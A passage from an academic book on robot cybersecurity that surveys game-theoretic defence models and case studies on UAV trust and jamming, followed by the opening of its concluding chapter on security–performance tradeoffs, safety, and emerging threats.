Returning to Cut-The-Rope (Section 5.1) again for illustration, the value would be the

last number v = 0.001 in (5.1), since the game is primarily about minimizing the attacker’s

chances to hit its target. Any deviation towards a different defense than prescribed by the

game would just increase the success chances for the adversary to more than 0.001. This

is important for the defender to bear in mind, since an attempt to further decrease the

protection in other places may open the door wider for the attacker: for example, if the

defender is okay with the probability of 0.001 for the attacker to hit node 10, but then

strives to decrease the – seemingly high – probability of 0.228 for the attacker to be at node

9 instead, any change in the defense strategy for the sake of lowering the number 0.228

would imply an increase of the attacker’s chance to hit node 10 perhaps on other ways, say,

bypassing node 9 at all! This effect is due to the equilibrium property formalized above.

One important property of saddle-point equilibrium is the exchangeability; i.e., when

(x∗1, x
∗
2) and (x◦1, x

◦
2) are two distinct saddle-point equilibria of the zero-sum game, then

(x∗1, x
◦
2) and (x◦1, x

∗
2) are also saddle-point equilibria of the game and yield the same game

value. This is the theoretical reason why it is safe for the defender to use any of the existing

equilibria for its defensive purpose, but at the same time dangerous to rely on the adversary’s

equilibrium as a hint on where to defend: the exchangeability property lets the adversary
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pick any of (perhaps many) optimal attack strategies to gain the best possible success rates,

which can easily annihilate the defender’s precautions if they were based on the attacker’s

equilibrium behavior instead of the (better) defender’s equilibrium strategies.

5.2.2 Structural and Operational Security

Zero-sum games are useful to capture many security scenarios. For example, a jamming

game between a team of UAV and a jammer has been investigated in [26]. Illustrated in

Fig. 5.2, a team of UAV is controlled to maximize the connectivity among themselves in

an adversarial environment where an attacker can choose a subset of communication links

to jam. The game between the operator of the team and the attacker is described by the

zero-sum game at time k:

max
x(k+c)

min
e∈E

λ2(e;x(k + c)). (5.2)

Here, x(k) is the position of the UAV at time k. Two UAV can form a link when they

are sufficiently close within a desirable range of communications. The connectivity of the

UAV team is described by the algebraic connectivity of the network, denoted by λ2 (i.e.,

the second-smallest eigenvalue of the associated Laplacian matrix). When λ2 is zero, the

network has disjoint partitions. Otherwise, the network is connected, i.e., there exists a path

from one node to any node in the network. A higher value of λ2 indicates that there are a

larger number of paths on average that connect between two arbitrary nodes in this network.

At each time step k, the operator determines where the agents should move to in the next

time step x(k + c), where c is a time interval. The control is constrained by the physical

dynamics of UAV. The attacker can jam a subset of links from all the communication links

of the team, denoted by E . The attacker’s capability is described by the number of links

that he can jam at time k. This zero-sum security game can be played repeatedly at every

time step k.

In transportation networks, the class of interdiction games is similar to the jamming
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Figure 5.2: A team of UAV collaborate on a mission. They can communication with each
other when one is in the range of communication of the other. An attacker can jam the
signals between two UAV.

games in communications. One player (e.g., an attacker) aims to remove the links of a

network to minimize the throughput or disrupt the operation of the infrastructure subject

to resource constraints. In other words, the attacker’s capability is assumed to be bounded

and he can only remove a small subset of links in the network. The other player (e.g.,

planner or defender) aims to design a robust network and invest resources to protect against

the attacks on the network and maintain the service of the infrastructure. This type of

games has been commonly used in scenarios of the infrastructure protections [18, 27, 51],

multi-agent robotic systems [24, 26, 88], and IoT networks [17, 19].

Another example of security game is the system configuration game [167, 168, 182]. In

this game, we consider one system defender and one attacker as two players. The system

defender configures its network and IoT in Fig. 5.1 by choosing the setting of the software,

security rules/policies, and network topologies. Each system configuration inevitably has

known or zero-day vulnerabilities. An attacker aims to find the vulnerabilities of the entry-

point system and exploit them to penetrate and infect further parts of the system. Let

C = {c1, c2, · · · , cm} be the set of configuration that the system can choose from. Let V

be the set of vulnerabilities that the system can have. Each configuration is associated

with a subset of vulnerabilities of V . We let π : C → 2V be the point-to-set mapping

between configurations and the subsets of vulnerabilities; π(c),⊆ V , c ∈ C, is called the

attack surface when the system is configured to c. An attacker can choose an attack that

exploits several vulnerabilities of the system. Let A = {a1, a2, · · · , an} be the set of attack
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actions. Let γ : A → 2V be the point-to-set mapping between attack actions and the subset

of vulnerabilities; γ(a) ⊆ V , a ∈ A, is the set of vulnerabilities exploited by the attack action

a ∈ A. When one of the vulnerabilities exploited by the attacker is in the attack surface

under configuration c, then the attacker is successful and receives a reward. More formally,

when γ(a) ∩ π(c) 6= ∅, the reward to the attacker, which is also the loss to the defender, is

given by R(γ(a) ∩ π(c)), where R is a set-valued function that quantifies the impact of the

successfully exploited vulnerabilities. This configuration game is a normal-form zero-sum

game. An example of this game is represented by the following matrix:

H:

c1 c2 c3 c3

a1 h11 h12 h13 h14

a2 h21 h22 h23 h24

Here, the row player is the attacker with 2 attack actions. The column player is the defender

with 4 configurations. The reward/loss to the players are described by the matrix entries

hij, i ∈ {1, 2}, j ∈ {1, 2, 3, 4}, which are the rewards to the attacker when he uses ai to attack

and the defender uses configures the system at cj. The defender can relies on this model and

assesses his best-effort worst-case security. The saddle-point equilibrium of this game yields

a game value that quantifies the level of the security under the best-effort of the defender.

It also leads an insight for the defender on how to choose a secure configuration to safeguard

the system for a prescribed attack model.

The analysis of the saddle-point equilibria of the security game has the following impli-

cations. First, the equilibrium strategies provide a security strategy for the defenders and

protect the system in the worst-case scenario that is assumed by the defender. Such strate-

gies are computed ahead of time. The operator can use them to maintain the connectivity

of the UAV at each time k robust to the worst-case adversarial behaviors within a range

of attack behaviors. In many cases, the exact knowledge of the worst-case may not always

be available. The overestimate of the capability of the attacker will result in a conservative

solution while the underestimate will lead to a successful attacker and failure in the oper-
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ation when the attack is not correctly anticipated. There is a need to consider strategies

other than protections or preventions to safeguard the system. One type of strategy that

can be built on top of the robust mechanism is the resiliency mechanism. In the case of

the underestimate, the system is well prepared and designed to quickly recover from the

attack. In the case of the overestimate, the resources used to strengthen the network for

extremely low likelihood events can be used for the repair of the links and the restoration of

the services. With limited resources, the defender needs to find an optimal tradeoff between

the robustness and the resiliency to mitigate the impact of the attacks and maintain an

acceptable level of system performance. This joint robust and resilient mechanism has been

studied in [18] and applied to multi-agent robotic systems in [88, 89].

Second, the value of the game obtained from the equilibrium analysis provides a predicted

outcome and performance of the system. It provides a worst-case performance guarantee and

a quantified assessment of the risks. In the example of UAV networks, the solution to the

zero-sum game from solving (5.2) provides a way for the designer to assess whether the net-

work is still connected under the worst-case adversary. If it is, the designer can assess the

security margin from being disconnected. Otherwise, the designer needs to find mechanisms

other than the control variable u(k + c) to strengthen the network. For example, instead of

using mobility to create connectivity, the designer can introduce additional communication

resources, e.g., construction of ad hoc base stations, or the use of satellite communications.

This design choice is another layer of optimal planning of resources since additional mecha-

nisms are also constrained by limited resources. In [182], the authors see the value of games

as the security capacity of a system. This is because when the computed value is below the

targeted value, it means that it is impossible for the system to be secure for the given attack

model unless additional resources are invested in the system. Games have also been studied

for the overall design of secure communication layers as networks by [109].
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5.3 Multi-Stage and Multi-Phase Games

In Section 5.2, we have presented game theory as a tool to understand cybersecurity. In this

section, we extend the game-theoretic technique developed for cyber attacks and connect it

with the physical models of robots. The target of many APT is to create malfunction of the

physical assets, including a power plant, an autonomous vehicle, or a water treatment plant.

By incorporating the physical models into the security game framework, we can provide a

cross-layer security framework for robots and develop tailored cyber protection for the given

robot systems that have specific operational system specifications and requirements.

To illustrate this concept, we use a generic nonlinear dynamical system in (5.3) to capture

the mechanical behaviors of the robots. Let x(t) be the state of the physical system and y(t)

be the output of the system. The physical dynamics of the robot systems, such as mechanical

arms, walking robots, UAV, can all be written into the following form:

ẋ(t) = f(t, x, u; θ(t, a, d)), (5.3)

y(t) = h(t, x, u; θ(t, a, d)). (5.4)

Here, f and h are continuous functions in (t, x, u). The physical system is controlled

by the feedback law u to achieve stabilization or targeted performances. θ(t, a, d) is the

cyber state of the robot. It can represent the state on the attack graph or the high-level

description of the well-being of the cyber system. The state of the cyber system is influenced

by the attack strategies a and the defense strategies d. A well-designed defense can reduce

the probability of the system in a compromised cyber state and allow the cyber system to

recover quickly once it is attacked. From (5.3), it is clear that the cyber defense and attack

not only directly affect the cyber state but also indirectly creates an impact on the physical

system. For example, when the attacker gains access to the ROS nodes, he can modify

the control logic and turn the robot into a deadly weapon [31, 154]. In the scenarios of

multi-agent systems, one robot can be misled by a compromised robot to put the team into

82



Figure 5.3: Multi-stage and multi-phase interactions between an attacker and a defender:
The attacker changes the cyber state θ to affect the physical state x at the last stage of
Phase 3.

jeopardy and fail the mission [148, 173].

The goal of the extended game framework is to capture this impact so that the defense

designed at the cyber layer will reduce the cyber-physical risks and the control designed at the

physical layer will be able to quickly mitigate the physical damages when an attacker succeeds

at the cyber layer. To capture these multiple layers of effects, authors in [54, 127, 177] have

created a multi-stage and multi-phase game model. The entire attack process is decomposed

into multiple phases that represent multiple rounds or stages of interactions between the

attacker and the system at different layers. At Phase 1, the attacker aims to create social

engineering approaches to infect the system. To defense against this attack, defenders can

raise security awareness, provide training to users and employees, or developing incident

documentation and alert system to prevent malicious outsiders from entering the system or

the insider to behave abnormally.

At Phase 2, the attacker aims to maximize the infection, search for its targeted asset and

get closer to it. The defender at this phase can leverage spot-checking to detect virus/mal-

ware, change system configurations, or develop proactive defense mechanisms (e.g., honey-

pots [60, 83] and moving target defenses [59, 171]) to reduce the system risks. At Phase 3,

the attacker aims to create physical damage on the system on the asset. It is already late

for the defender to prevent the asset at this stage from damages. However, the defender can

detect anomalous behaviors and reconfigure the control at the physical layer to reduce the
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Figure 5.4: Illustration of FlipIt games: The attacker and the defender compete to control
a shared resource. Both players can choose when to move at any time. Each move incurs a
cost. The player controls the resources for a period of time after his move till the next move
of the other player.

impact of the attack and develop mechanisms to recover the system from the attacks.

The multi-stage multi-phase interactions are illustrated in Fig. 5.3. Each phase contains

several stages of interactions. The success of an attacker in one phase will lead him to the

next phase until he takes over the control of the physical assets. The state of the cyber

system θ evolves over these multi-round interactions. In Phase 3, a compromised cyber state

will influence the physical state x. The control taken at the end of Phase 3 can mitigate the

physical impact of the attacker.

Each phase has unique attacker-defender interactions. They can be modeled using a

suitable game-theoretic framework. In the first phase, the game often involves a human

user and an attacker. The goal of the attacker is to use social engineering techniques to

deceive the users to gain credentials for access. In [140], FlipIt games have been proposed

to understanding many cybersecurity scenarios. Consider the scenario where a user can

choose when to change his passwords and an attacker can choose the time to hack the

account. A weak password that has not been changed for a long time can be eventually leaked

to the attacker. One way to protect a user’s account to frequently change the password.

However, it would create a perceived overhead if a user changes the password too frequently,

and [115] gives a game model to find an optimal tradeoff between security and usability

here. From the attacker’s perspective, there is a cost for him to gain reconnaissance and

hack the account. FlipIt games capture the strategic decision of both players. The game
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analysis provides a risk assessment of the system and the development of defense strategies.

The applications of FlipIt games have been extended to many applications including cloud

computing [22, 98, 149], cybercrime [7, 13], and IoT systems [23, 94].

In the second phase, an intelligent attacker can move stealthily and strategically in the

network to gain access to the targeted asset. APT are this type of threat that is capable of

customizing their strategies against specific targets and disguise themselves for a prolonged

period. Once the APT attackers enter the system, they escalate their privilege and propagate

laterally in the network, compromising other nodes to gain deeper access to find their target.

The goal of the defender is to detect the compromise nodes and respond quickly to prevent

the attacker from going deeper and reaching critical assets. A game modeling this type of

interactions is Cut-The-Rope (Section 5.1), but other models have also been proposed,

using sequential games [55, 57, 87]. One important application of these models is to develop

proactive defenses. They provide a precautious and strategic way to increase the cost of

attack while mitigating the potential damage attacker could bring to the final target. An

effective proactive response system can delay the attack and give network administrators a

sufficient amount of time to meticulously analyze data and deploy effective responses to the

threats.

In the third phase, an attacker has successfully gained access to the critical asset and

aims to create maximum impact. The goal of the defender in this phase is to reduce the

damages that can be created by the attacker. An example of games that capture this scenario

is the Flip the Cloud game described in [98]. An APT attacker can take hold of the cloud

and sends falsified information to mislead a robot that relies on the computations in the

cloud. The analysis of the game between the cloud that is taken over by the attacker and

the system leads to a strategic trust mechanism [94] that can filter and reject misleading

information and an event-triggered control mechanism [149] to switching the control laws

to maintain an acceptable level of performance. Here, the goal of physical control is to

strengthen the resiliency of the robots. With a suitable design, the robots can still carry
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on their missions and complete their tasks despite the compromised cyber state and the

unanticipated events. The resilient control problem has been discussed in [128, 129, 179].

Game-theoretic techniques to achieve resiliency of the control system performance have been

studied in [18, 57, 170, 174, 186].

Generally, it is advisable to consider APT models relative to what the adversary tries to

accomplish in the long run, as [124] distinguishes two types of APT:

• One type is about gaining long-run control over the victim, but without ultimately de-

stroying it. This can be the case when an industrial robotics-enhanced production line

is hacked for the purpose of quality dropout increase, or to induce flaws in the products,

up to inserting malicious parts or similar. Other scenarios include the overtake of an

infrastructure of unintended purposes, e.g., cryptocurrency mining or similar. FlipIt

is a class of game models to defend against this type of APT.

• The other type aims at killing the victim, which entails a slow and ubiquitous pen-

etration staying beneath the detection radar so that it is too late for the defender

to react when the attacker becomes visibly active. Examples of such incidents have

been reported on large critical infrastructures, with Stuxnet being an early and famous

example. Game models for this type of APT are, among others, Cut-The-Rope.

5.3.1 Signaling Games for Multi-Phase Security

In the security games across the three phases, the players often have incomplete information

regarding the payoffs, action sets, and the type of opponents the players interact with. It is

essential for security games to capture these uncertainties in the game. Signaling games are

a common class of games that have been used to model the sequential interactions between

two players under incomplete information. They have been used in many applications such

as cyber deception [96, 97, 99, 103, 188], communication networks [14, 108], and trust man-

agement [15, 82, 102]. In this class of games, one player is the sender, denoted by S, and
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the other player is the receiver, denoted by D. The sender has private information θ ∈ Θ

unknown to the receiver and sends a signal1 m ∈M to the receiver. The goal of the receiver

observes the signal m and chooses an action a ∈ A to respond to the signal so that his

reward US(θ,m, a) is maximized. The goal of the sender is to pick a signal that will lead to

a desirable action chosen by the receiver so that his reward UR(θ,m, a) is maximized. Both

players have the knowledge of how this game is played. More specifically, the players know

the reward functions and action sets of both players. The private information θ is modeled as

a random variable. Both players have knowledge of the distribution of the random variable.

However, only the sender knows the realization of θ.

This game is illustrated by an extensive-form game in Fig. 5.5. Nature first chooses θ

according to the distribution known to the players. The sender who observes θ1 or θ2 will

pick a signal m ∈ {m1,m2}. The receiver cannot distinguish between the type of the players

(indicated in the figure by the information set of the receiver) but can only choose an action

{a1, a2} based on his observation of the signal. The strategies of the players are described

by the policies µS : Θ → M and µR : M → A that are determined prior to the start

of the game. The players use the policies to determine their actions based on their private

observations. Bayesian perfect Nash equilibrium is commonly used as the solution concept for

the signaling games. An equilibrium profile (µ∗S, µ
∗
R) is a Bayesian perfect Nash equilibrium

if it satisfies sequential rationality and there exists a consistent belief system, a distribution

over the information set, that supports this equilibrium profile. Readers can refer to the

mathematical details in [42] for the analysis and the computation of the equilibrium.

Signaling games can be used to capture information asymmetry, where one player has

more information than the other player. It is a pervasive phenomenon in cybersecurity.

Across the three phases depicted in Fig. 5.3, the system defender may not distinguish the

attacker from the normal users. In contrast, the attacker can observe the behaviors of the

system. In [101], signaling games have been used to model phishing. An attacker sends a

1The literature also uses the term “message” in the context of signalling games, which we avoid here to
prevent ambiguities with the term “message” as data in transit like in Chapter 2.
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Figure 5.5: Signaling games between one sender and one receiver. The sender has private
information θ and sends a signal m ∈M = {m1,m2} to the receiver to achieve an outcome
that optimizes his reward. The receiver determines action a ∈ A = {a1, a2} to maximize his
reward. The dotted line indicates an information set of player 2.

phishing email to a population of receivers while a user relies on spam and scam detection

systems to filter out a suspicious email from the primary inbox.

An extension of the signaling games to multiple rounds of interactions has been studied

in [38, 57]. The multi-round game models are used to study the Phase 2 interaction where

the attacker aims to escalate his privilege and gain access to the targeted asset. In [148], a

trust mechanism based on signaling games has been developed for UAV at Phase 3 as the

last shield to defend against the attacker. Once an attacker has an access to the remote

control station, he can send a falsified control command to direct the UAV to hit a building.

The trust mechanism enables the UAV to make onboard decisions of following or rejecting

the command when they predict that following the command would lead to catastrophic

consequences.

5.3.2 Games-in-Games Model

The games in the three phases are interdependent. The actions chosen by the defender

and the attacker in the first phase will affect the cyber state and the structure of the game

played in the second phase. When planning the defense at the first phase, it is essential to

understand its consequences on the following phases and make an effective planning decision

88



Figure 5.6: G1, G2, and G3 represent games at three phases. The three games are nested.
The outcome of the game at earlier phases will affect the structure of the game in the later
phases. The defense strategies need to be planned backward from the last phase.

at the first phase. The games at the three phases can be integrated into a game-in-games

[26, 57, 89, 150, 152, 154, 172], in which the game at an earlier phase is nested in the game

at a later phase. Illustrated in Fig. 5.6, the game-of-games integration gives a holistic view

of the security issues across multiple layers of robotic systems and provides a cross-layer risk

assessment and design methodology of security mechanisms.

Security games for sophisticated attacks often require an integrated model that composes

interactions at different layers, stages, or phases of the system. The game-in-games leverage

the sequential nature of the cyber attacks and provide a framework to compose local-stage

games into an integrated large-scale game for a holistic analysis of the risks. The computation

of the equilibrium solutions at each phase is backward. The defense strategies in Phase 1

depends on the defense strategies in Phase 2, which is determined by the strategies in Phase

3. This backward computation will guarantee that the defense strategies are strategically

optimal across the phases rather than myopically optimal within one single stage. Readers

can refer to the recent book [187] for a comprehensive introduction of the game-theoretic

techniques for cross-layer designs.

5.3.3 Resilient Control Mechanisms and Real-Time System Per-

formance

In Section 5.3, we have used a multi-stage and multi-phase game to capture how an attacker

moves from the cyber layer to the physical layer. The physical layer of robotics consists of
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the real-time dynamics represented by the system model in (5.3). It also corresponds to level

0 of the ROS architecture, illustrated in Fig. 3.2. The defense at the physical layer heavily

relies on the resilient control mechanisms when the attacker has successfully taken control

of the devices at the field network. The purpose of resilient control is to enable the robotic

systems to maintain a satisfactory level of performance when the robotic system is attacked

by unanticipated threats in real-time. An example of such resilient control mechanisms is

introduced in [149] for cloud robotics. A UAV that relies on the cloud for communication

and information processing can switch from an optimal mode of operations to a safe mode

when a man-in-the-middle attack is detected.

As discussed in [166], resilient control is divided into three stages: ex-ante planning,

interim execution, and ex-post recovery. The ex-ante stage is the resilience planning that

designs contingency plans to prepare for the anticipated attacks. The interim execution stage

is the operation stage of the control system, which executes the resilience plans in real-time.

A resilient operation includes online learning for anomaly detection and adaptive decision-

making for responding to the anomaly. The ex-post recovery refers to the recovery process

in which the robots can still maintain critical functions or heal themselves to complete the

tasks.

The three-stage resilient control mechanism is the last resort to safeguard the robotic

systems and mitigate the impact of physical damages. This approach is complementary

to the cyber defense designed at the penultimate level to prevent an attacker to reach the

final level. Perfect security is not practicable in real-time systems as it would significantly

increase the cost and reduce the usability of cybersecurity and resilient control mechanisms

can be designed jointly to effectively reduce the impact of cyber threats. The cyber defense

in the joint design needs to anticipate the consequence when the attacker successfully evades

the defense and reaches the physical asset. Meanwhile, the design of a resilient control

mechanism needs to take into account the effectiveness of the cyber defense and design

resiliency in response to possible successful attacks. This joint design methodology aligns
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with the games-in-games defense paradigm introduced in Section 5.3.2. The resilient control

is subsumed in the last stage design, or G3 in Fig. 5.6, while the cyber defense is viewed as

the outcome of G1 and G2. In [169, 170], resilient control is viewed as a game between the

controller and the worst-case scenario that can occur to the real-time system. Therefore, the

games-in-games design paradigm provides a holistic view to understand the impact of cyber

defense on the real-time system performance and design cross-layer defense and resilient

control mechanisms.

5.4 Examples of Game-Theoretic Analysis

We provide two case studies to elaborate on the application of game theory to robot security.

The first one introduces the application of signal games to UAV and develops a cyber-physical

trust interface between the IT-level signals and the OT-level operations and controls. The

second one continues the example described in Fig. 5.7 and discusses how to design control

mechanisms that can fend off jamming attacks while maintaining connectivity.

5.4.1 Signaling Games and UAV

This case study presents a team of multi-agent UAV with n autonomous agents (ASs) and

a control station (CS). Each agent has two components. One is the physical layer which

implements real-time control to achieve its control objectives. The other one is the cyber

layer which sends information and signals to the agents as inputs for the controller. At the

physical layer, a min-max model predictive control (MPC) problem is formulated to handle

the worst-case disturbances based on the model. For AS agent i at time k, the problem is

formulated as a zero-sum game between the controller and the disturbance:

P ik : min
ûik

max
ŵi

k

Jc
(
xik, r

i
k, û

i
k, ŵ

i
k

)
. (5.5)
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Here, Jc is the accumulated stage cost until horizon-window N ; xik is the state vector; rik is

the reference trajectory given by the CS; ûik and ŵik are the estimated control and disturbance

vectors. An adversary can fabricate a fake reference signal ri to deviate agent i from its real

trajectory to achieve Suicidal Attack (SA) or Collision Attack (CA).

At the cyber layer of ASs, we use a signaling game method to capture the information

asymmetry and multi-stage behaviors of these players. The CS (sender S) has a binary

private type θ denotes whether S is normal or malicious. S sends a signal ri to each AS

(receiver Ri). Before choosing action ai, AS updates its beliefs about the type θ using Bayes’

rule and prior belief pi(θ). The goal of Ri is to choose an action ai to minimize its expected

cost ciR given a posterior belief µi(θ|ri), while the goal of the sender is to choose a signal ri

to minimize the cost cS by anticipating the behavior of the receiver Ri. The game admits a

PBNE, which is a strategy profile {σ(S), σiR} and posterior beliefs µi(θ|ri) such that

∀θ, σiR(ri) ∈ arg min
ai

∑
θ

µi(θ|ri)ciR(ri, ai, θ), (5.6)

∀θ, σS(θ) ∈ arg min
r
cS(r, σR, θ) (5.7)

where posterior beliefs µi(θ|ri) are updated according to Bayes’ rule. There are two PBNE

that exist in this cyber-physical signaling game. One is a separating equilibrium, and the

other is a pooling equilibrium. Both equilibria can lead to the protection of ASs from

collisions as the equilibria can guarantee that Ri only accepts reference trajectory ri if it is

out of the danger zones. The designed framework yields an intelligent control of each agent

to avoid collisions. Illustrated in Fig. 5.7, a group of UAV reject the falsified command and

switch the system to a safe control mode. The UAV hover in the air and keep a safe distance

from each other and the building. The results indicate that the integrative framework enables

the co-design of cyber-physical systems to minimize the damages, leading to online updating

the cyber defense and physical layer control decisions. Interested readers can refer to [148]

for more details on this case study.
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Figure 5.7: Trust mechanism implemented in the UAV control system. The UAV start to
hover before they hit the building.

5.4.2 Jamming Games and Multi-Agent Systems

Multi-agent systems provide a framework for studying distributed decision-making problems

as a number of agents make local decisions by interacting with each other over networks. One

of the common security threats in networked systems is jamming attacks. The adversary

can simply transmit interference signals to interrupt communication among agents. Non-

cooperative game theory approaches can be used to find the optimal defense mechanism to

prevent and restore the network from successful attacks.

We model the interaction between an attacker and a defender in a two-player two-stage

game setting. The attacker is motivated to disrupt the communication by attacking individ-

ual links. The attack model consists of a jammer who chooses the links and the durations

of the attack with the knowledge of the communication graph of the UAV and the energy

constraints. The defender can recover a subset of links that are important for maintaining

the connectivity of the graph with limited energy.

In the game, both players attempt to choose the best strategies to maximize their own

utility functions. The utilities for the attacker UA and the defender UD are defined as the

total generalized edge connectivity (with the negative sign for the attacker), plus the cost

for jamming (attacker) or recovering (defender). The two-stage game is played as follows.
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The jammer first attacks and then the defender recovers in the subgame. Let mA be the

attacked edges and σA be the attack intervals; let mD be the edges recovered and σD be the

recovery intervals. The strategies of the attacker and the defender are in terms of (mA, δA)

and (mD, δD), respectively.

The subgame perfect Nash equilibria are obtained using backward induction. Given the

attacker’s strategy (mA, δA), the defender decides the best response strategy as

(
mD∗(mA, δA), δD∗(mA, δA)

)
∈ arg max

(mD,δD)
UD((mA, δA), (mD, δD)) (5.8)

Likewise, given the initial network graph G, the attacker decides the strategy as

(
mA∗, δA∗

)
∈ arg max

(mA,δA)
UD((mA, δA),

(
mD∗(mA, δA), δD∗(mA, δA)

)
) (5.9)

This game can be applied to a multi-agent consensus problem, where the game is played

repeatedly over time. In such a case, the energy constraints are extended to satisfy continuous

communications. Fig. 5.8 shows the states of the agents and properties of the players, with

the agents achieving approximate consensus at t ≈ 4 with tolerance ε = 0.5. This framework

enables the study of how the attacks and recovery strategies affect the consensus process

of the multi-agent systems. By analyzing the games, we can find the optimal strategies for

the attacker and the defender in terms of edge connectivity and the number of connected

components of the graph. Interested readers can refer to [88] for more details on this case

study.
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Figure 5.8: The state trajectories of the UAV. The green areas indicate the intervals where
the defender recovers. The red areas indicate the intervals where the attacker attacks. The
four agents reach consensus after t ≈ 4 [88].
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Chapter 6

Discussions and Conclusions

Securing robot systems has its unique challenges, since their interaction with the world is

virtual (related to information) and physical, which extends the usual threat landscape con-

siderably. Consequently, the tools to address security need to meet the diversity of threats,

and game theory, applied to security scoring systems, can provide a powerful mechanism to

orchestrate and assemble security mechanisms that each cover their specific threat spectrum,

but which only in totality can provide comprehensive protection.

The steps taken in this book are only preliminary and yet point out a gap between

what theory can offer and what robot designers could use in the future. Since systems are

heterogeneous and with components from many vendors combined, it can be tempting and

easy to just delegate responsibility to somebody else. This is an issue on the organizational

level, and risk management standards can be very helpful here to address issues of ownership,

responsibility, and incident management. The complexity of bringing a development project

into standard compliance is yet another motivation to employ optimization, such as game

theory.

The complementation of technical security mechanisms by adequate organizational pre-

cautions pervasive throughout the whole robot life cycle is an issue that we only touched

lightly here, but demanding more in-depth research in the future. The problem with robotic
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security may partly be attributed to the lack of responsibility assignment when it comes to

an incident.

Security and Performance Tradeoffs

One important challenge to address with robotic security is to tradeoff between adding

security and the performance requirements in the overall system. Real-time processes will

need to account for it to To harden the security in robotic systems. For example, the real-

time control loops can be subject to stochastic latency due to the addition of encryption and

access control mechanisms. To cope with it, the robot will require additional computational

resources. The off-the-self and traditional solutions would not work for all robots. It is

essential to tailor the security solutions for different robot application domains and take into

account the performance specifications. The security solutions for a teleoperated medical

robot should be significantly different from the ones for a domestic cleaning robot. The

security models and the threat consequences are drastically different in two cases.

There is a need to prioritize the security objectives and develop bespoke frameworks

for the system-specific tradeoffs and designs. Such priorities can be added to a model as

importance scores (see, e.g., [118]), or with explicit rankings among the goals. One such

extension towards the latter is lexicographic optimization as described in [66, 126]. Quanti-

tative metrics and design methodologies play an important role to achieve these objectives.

One important future direction is for robot designers to develop customized metrics and

methodologies to understand the security-performance trade-offs and the design of opti-

mal resource-constrained solutions. The specification of metrics and quantification of risks,

thereby induces an operational difficulty perhaps, since engineers but also security specialists

may find it difficult to quantify security for an optimization. Likewise difficult is the gen-

eral specification of probability parameters as appear throughout the majority of stochastic

models, not only to describe robot security.

Helping robot designers with security requires more than just proposing yet another se-
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curity model, but also helps the practitioner to reason about how to instantiate the models

for their use. Work in this direction is relatively scarce, but the problem of systematic pa-

rameter learning is addressable by machine learning techniques. See [123] for an example

application in the context of critical infrastructures that are transferable to robots as infras-

tructures too, or [63] and [114] for online learning and reasoning about the trustworthiness of

components in a joint system. Further help is offered by scoring systems like RVSS, as these

provide a systematic tool to quantify security and, as [67] describe, also get ideas about how

to specify probabilities if a stochastic model or decision making requires them. This can

be complemented by other than numeric quantification techniques, such as graphical risk

specification as proposed by [145].

Security defense is often an add-on solution in today’s robotic systems. Oftentimes, the

security solutions are based on traditional and off-the-shelf solutions, e.g. cryptography, fire-

walls, and intrusion detection systems. Advanced defense strategies, such as cyber deception

and moving target defenses, will require a careful evaluation of the threat models and ad-

ditional system resources to enable such defenses. Without a deliberate built-in design, our

robotic systems will always be in a vulnerable state as the attacker can eventually map out

the system and launch successful attacks. Built-in defense mechanisms aim to outsmart and

deter the attacker by leveraging the system resources to introduce uncertainties and make

the attack more costly. Including uncertainty in optimization is its issue but doable with

game models that adopt a more complex payoff modeling than crisp numbers. Specifically,

it is possible to optimize actions for defense and resource investment when consequences

are uncertain [113], even in light of multiple conflicting goals [112], interdependencies and

network effects [21, 25, 27, 81, 157].

Security vs. Safety

This book has discussed the cybersecurity frameworks and models for robotic systems. It is

essential to distinguish security from safety and reliability, which have been relatively well
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studied in the robotics literature. The first key difference is that security is an issue strate-

gically created by an adversary. The safety issues are often related to natural causes. Some

of them can exceed expectations but they are not associated with objectives and malicious

intentions. Often, we tackle the safety issues by specifying a tolerable set of uncertainties and

design systems under the worst cases among these uncertainties. The attack is an outcome

of the purposefully planned actions and the exploitation of the vulnerabilities. We need to

understand the attack models through the objectives, the incentives, and the capabilities of

an attacker when developing security solutions for robots.

Second, the impact of the damage created by an attacker may not directly observable

at the physical layer at an early stage of the compromise. Safety often refers to the last-

mile physical protection at the OT-level. It is often too late when the attacker succeeds in

penetrating the cyber layers, controls the physical assets, and can manipulate them at his

will. Security defense goes beyond the OT and protects the system at the IT-level. In this

book, we have described the challenges and quantitative methods that can be used to address

the IT-level security and its induced impact on the OT. Safety and security issues are not

mutually exclusive. They can be treated together within a holistic framework that considers

the cross-layer effects. Ensuring IT-level security is an important step toward improving the

safety of the system, especially when major OT-safety concerns arise from IT-security.

Emerging Attack Models and Defense Solutions

This book has presented several attack models and solutions to counteract them. There are

many emerging threats and advanced techniques that would be of interest to investigate.

For example, adversarial machine learning is an increasingly important topic. Many robotic

systems rely on learning models for pattern recognition, detection, and perception of the

environment. An attacker can manipulate the input data and mislead the robot to erroneous

learning results [58, 64, 158, 159, 160]. This attack can lead to misinformed decisions and

control, which would result in catastrophic consequences. It is imperative to assess the
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trustworthiness of learning models and develop contingent solutions when the learning is not

trusted.

New technologies in robotics also inspire new attack models. For example, cloud robotics

is a new paradigm of robotic systems that integrate the technologies of cloud computing

and storage into robotics [65]. It empowers the robots with the powerful computation,

storage, and communication resources in the cloud and enables information sharing and

communication among a group of robots and devices. However, the confidentiality and the

integrity of the data communicated between the cloud and the robot can be compromised by

an attacker. Furthermore, an attacker at the cloud can falsify the computations to mislead

the robots or create a denial of service so that the robot does not have sufficient inputs to

act in an unknown environment [98, 149, 153].

New attack vectors and more sophisticated attackers would galvanize the defender to

develop new defense solutions. One promising direction of cyber defense is the deception

technology, which employs decoys (e.g., honeypots) or introduces uncertainties (e.g., moving

target defense) to deceive, detect, and deter the attacker. Deception technologies provide a

proactive way to defend against zero-day and advanced attacks and enable an automated way

to respond in real-time to the threats. Design of deception techniques often relies on a clear

understanding of the system tradeoffs involving resource constraints, security objectives, and

attack models. Game theory has been used as a primary tool to address this tradeoff and

develop an optimal cyber deception mechanism [103]. Interested readers can develop new

security solutions for robots by making connections between these advanced cyber defense

solutions with the new attack threats in robotics.

Beyond the technical solutions to security issues in robots, economic policies and tools

can also be used to mitigate their adversarial impact on society. Cyber insurance is such

a product that protects owners and users of the robots from cyberattack-induced damages.

The coverage of cyber insurance allows the risks to be transferred and distributed fairly at the

cost of premiums. Damages such as injuries, collisions, theft, and extortion can be possibly
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covered by the insurance. The premiums and the incentives of the insurance need to be

carefully designed to reduce moral hazards and increase social welfare. Design methodologies

of insurance design developed in [10, 47, 162, 163] can be applied and customized to different

robotic applications in the future as an additional layer of risk protection.

Bridging Game Theory and Practice

Chapter 5 has provided an overview of the game-theoretic methods and their applications

in cybersecurity and robotics. We have seen that game-theoretic frameworks can capture

